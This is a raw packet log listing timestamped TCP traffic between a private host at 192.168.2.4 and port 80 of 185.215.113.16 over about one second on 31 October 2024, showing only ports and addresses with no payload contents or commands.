Oct 31, 2024 03:04:32.923172951 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.923183918 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.923190117 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.923216105 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.923598051 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.923610926 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.923649073 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.923988104 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.924031019 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.957499027 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.957510948 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.957521915 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.957534075 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.957564116 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.957581043 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.957629919 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.957642078 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.957650900 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.957663059 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.957675934 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.957679033 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.957686901 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.957700014 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.957701921 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.957716942 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.957722902 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.957730055 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.957743883 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.957768917 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.969773054 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.969784021 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.969794035 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.969827890 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.969840050 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.969851017 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.969851017 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.969861984 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.969871044 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.969880104 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.969914913 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.969918966 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.969929934 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.969940901 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.969953060 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.969964981 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.969970942 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.969976902 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.970124960 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.970134020 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.970134020 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.970135927 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.970149994 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.970160961 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.970172882 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.970182896 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.970184088 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.970196009 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.970211983 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.970211983 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.970225096 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.970225096 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.970248938 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.970264912 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.970274925 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.970277071 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.970288992 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.970299959 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.970305920 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.970312119 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.970321894 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.970324039 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.970359087 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.970407009 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.970418930 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.970428944 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.970441103 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.970453978 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.970462084 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.970464945 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.970475912 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.970479012 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.970488071 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.970499992 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.970510006 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.970518112 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.970520973 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.970530033 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.970541954 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.970544100 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.970572948 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.970597982 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.970712900 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.970724106 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.970736027 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.970747948 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.970761061 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.970765114 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.970791101 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.970809937 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.970856905 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.970868111 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.970879078 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.970890045 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.970902920 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.970932007 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.996123075 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.996135950 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.996150970 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.996187925 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.996215105 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.996217012 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.996226072 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.996237993 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.996249914 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.996257067 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.996285915 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.996438980 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.996490002 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.041575909 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.041587114 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.041610003 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.041621923 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.041634083 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.041657925 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.041682959 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.041692972 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.041695118 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.041750908 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.041791916 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.041802883 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.041811943 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.041835070 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.041865110 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.041965961 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.041976929 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.041989088 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.042078018 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.042319059 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.042330980 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.042347908 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.042375088 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.042402983 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.072114944 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.072128057 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.072138071 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.072149038 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.072160006 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.072215080 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.072215080 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.072223902 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.072235107 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.072242975 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.072246075 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.072274923 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.072285891 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.072292089 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.072331905 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.072360039 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.072371006 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.072381973 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.072400093 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.072422028 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.072489977 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.072500944 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.072515011 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.072541952 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.072565079 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.080853939 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.080890894 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.080900908 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.080909967 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.080916882 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.080964088 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.080979109 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.082056046 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.082103968 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.082175970 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.082185984 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.082218885 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.082266092 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.082283974 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.082297087 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.082302094 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.082312107 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.082321882 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.082333088 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.082361937 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.082392931 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.082395077 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.082402945 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.082416058 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.082432032 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.082457066 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.082556009 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.082566977 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.082577944 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.082588911 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.082604885 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.082632065 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.082712889 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.082770109 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.082782984 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.082813978 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.082832098 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.082843065 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.082853079 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.082875967 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.082894087 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.082901001 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.082920074 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.082931042 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.082942009 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.082947016 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.082971096 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.083002090 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.083132029 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.083143950 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.083158970 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.083180904 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.083211899 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.083211899 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.083223104 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.083235025 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.083257914 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.083296061 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.083517075 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.083528042 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.083538055 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.083564997 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.083595037 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.083688021 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.083698988 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.083709955 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.083719969 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.083734035 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.083767891 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.083852053 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.083863020 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.083873034 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.083883047 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.083899975 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.083920956 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.083952904 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.083964109 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.083972931 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.083983898 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.083995104 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.083996058 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.084006071 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.084017992 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.084022045 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.084045887 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.084065914 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.084491014 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.084502935 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.084511995 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.084542990 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.084558964 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.084569931 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.084569931 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.084578991 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.084604025 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.084634066 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.114810944 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.114881992 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.114912033 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.114988089 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.114991903 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.115017891 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.115026951 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.115047932 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.115063906 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.115077972 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.115097046 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.115128040 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.115151882 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.115191936 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.115356922 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.115412951 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.160490990 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.160502911 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.160514116 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.160558939 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.160567999 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.160579920 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.160590887 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.160602093 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.160603046 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.160639048 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.160693884 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.160705090 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.160717010 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.160726070 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.160744905 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.160758972 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.160902977 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.160912037 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.160949945 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.161020041 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.161031961 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.161041975 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.161066055 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.161087036 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.190701008 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.190717936 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.190726995 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.190737963 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.190768957 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.190798998 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.190865993 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.190876007 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.190886021 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.190915108 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.190932035 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.191052914 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.191062927 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.191072941 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.191097975 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.191102982 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.191107988 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.191127062 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.191140890 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.191149950 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.191170931 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.191204071 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.191283941 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.191293001 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.191335917 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.199721098 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.199729919 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.199739933 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.199750900 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.199774027 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.199796915 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.200855017 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.200882912 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.200892925 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.200939894 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.200951099 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.200958014 CET	80	63886	185.215.113.16	192.168.2.4
